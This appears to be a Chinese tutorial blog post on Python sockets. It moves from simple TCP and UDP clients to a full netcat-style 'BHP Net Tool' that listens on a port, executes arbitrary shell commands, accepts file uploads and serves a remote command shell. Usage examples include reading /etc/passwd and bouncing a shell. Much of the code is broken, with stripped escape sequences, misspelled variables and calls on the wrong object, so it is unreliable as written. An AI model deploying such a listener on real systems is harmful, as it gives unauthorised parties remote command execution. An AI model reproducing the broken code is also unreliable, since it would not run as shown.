python-socket的一些用法
TCP客户端
代码语言：javascript复制import socket
target_host = "www.baidu.com"
target_port = 80
#建立socket对象
client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#连接客户端
client.connect((target_host,target_port))
#发送数据
client.send(b"GET / HTTP/1.1rnHost: baidu.comrnrn")
# 接收数据
response=client.recv(4096)
print(response.decode())UDP客户端
代码语言：javascript复制import socket
target_host = "www.baidu.com"
target_port = 80
#建立socket对象
client=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
#发送数据
client.sendto(b"aaabbbccc",(target_host,target_port))
# 接收数据
data,addr=client.recvfrom(4096)
print(data)取代netcat
代码语言：javascript复制import sys
import socket
import getopt
import threading
import subprocess
#定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print("BHP Net Tool")
print()
print("Usage: bhpnet.py -t target_host -p port")
print("-l --listen - listen on [host]:[port] for incoming cennections")
print("-e --execute=file_to_run - execute the given file upon receiving a connection ")
print("-c --command - initialize a command shell")
print("-u --upload=destination - upon receiving connection upload a file and write to [destinction]")
print()
print()
print("Examples: ")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=C:\target.exe")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e="cat /etc/passwd"")
print("echo 'ABCDEFGHIJK' | ./bhpnet.py -t 192.168.0.1 -p 8888")
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_destincation
global target
if not len(sys.argv[1:]):
usage()
try:
opts,args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen"
,"execute","tarhet", "port", "command", "upload"])
except getopt.GetoptError as err:
print(str(err))
usage()
for o,a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destinction = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False,"Unhandle Option"
#判断我们是在监听还是仅仅从标准输入发送数据
#listen为False，len(target)大于0，port > 0 三个条件同时成立，则证明：
#是从标准输入读取数据，即：从标准输入读取数据，发送到监听端（服务端）。
#这里的标准输入可以来自键盘输入，亦可以来自文件重定向。
if not listen and len(target) and port > 0:
#从命令行(标准输入)读取数据
#这里将阻塞，所以在不想向标准输入发送数据时：要发送CTRL-D
buffer = sys.stdin.read()
# 将标准输入的数据发送到监听端
client_sender(buffer)
#如果上面的if语句没被执行，那么就说明这个程序是作为监听端了。
#我们开始监听并准备上传文件，执行命令
#放置一个反弹shell
#具体操作取决于你用的命令行选项
if listen:
server_loop()
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
#连接到目标主机
client.connect((target, port))
if len(buffer):
client.send(buffer)
while(True):
#现在等待数据回传
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response = data
if recv_len < 4096:
break
print(response,)
#等待更多输入
buffer = raw_input("")
buffer = "n"
#发送出去
client.send(buffer)
except:
print("[*] Exception! Exiting")
client.close()
def server_loop():
global target
#如果没有定义目标，则监控所有端口
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target,port))
server.listen(5)
while(True):
client_socket, addr = server.accept()
#分拆一个线程处理新的客户端
client_thread = threading.Thread(target=client_handler, args = (client_socket,))
client.start()
def run_command(command):
command = command.rstrip()
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = "Falied to execute command.rn"
return output
def client_handler(client_socket):
global upload
global execute
global command
if len(upload_destination):
#读取所有的字符并写入目标
# （目标是一个文件，文件名跟在-u后面，这个操作就是将客户端传过来的数据写进文件里）
file_buffer = ""
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer = data
#现在将接受到的数据file_buffer写进文件里
try:
file_descriptor = open(upload_destinction, "wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
#向另一端（即客户端）发送确认报文，确认文件已成功接收
client_socket.send("Successful saved file to %srn" % upload_destinction)
except:
client_socket.send("Failed to save file to %srn" % upload_destinction)
#检查命令执行
if len(execute):
output = run_command(execute)
client_socket.send(output)
#如果需要一个命令行shell，那么我们进入另一个循环
if command:
while True:
#跳出一个窗口
client_socket.send("<BHP: #> ")
#现在我们接受文件直至发现换行符（即当你输入完命令后会按回车）
cmd_buffer = ""
while "n" not in cmd_buffer:
cmd_buffer = client_socket.recv(1024)
#执行命令，并且将命令的输出结果保存在response里
response = run_command(cmd_buffer)
# 返回相应数据
client_socket.send(response)
if __name__ == "__main__":
main()使用示例:
- 将bhpnet.py作为客户端，连接百度：echo -ne "GET / HTTP/1.1rnHost:www.baidu.comrnrn" | ./bhpnet.py -t www.baidu.com -p 80
- 反弹一个shell（这里有-l参数的命令行是作为监听端，即服务端。没-l参数的作为客户端）。
- 监听端命令：./bhpnet.py -p 5555 -c -l
- 客户端命令：./bhpnet.py -t 127.0.0.1 -p 5555
监听端执行命令后直接输入准备执行的命令 客户端执行命令连接监听端之后监听端就会执行命令(也可以使用nc 127.0.0.1 5555直接连接)
- 上传文件
监听端执行输入的命令后就会关闭py文件的执行进程,但貌似端口会被占用,下次执行命令可以换一个端口或者等一段时间再重新执行
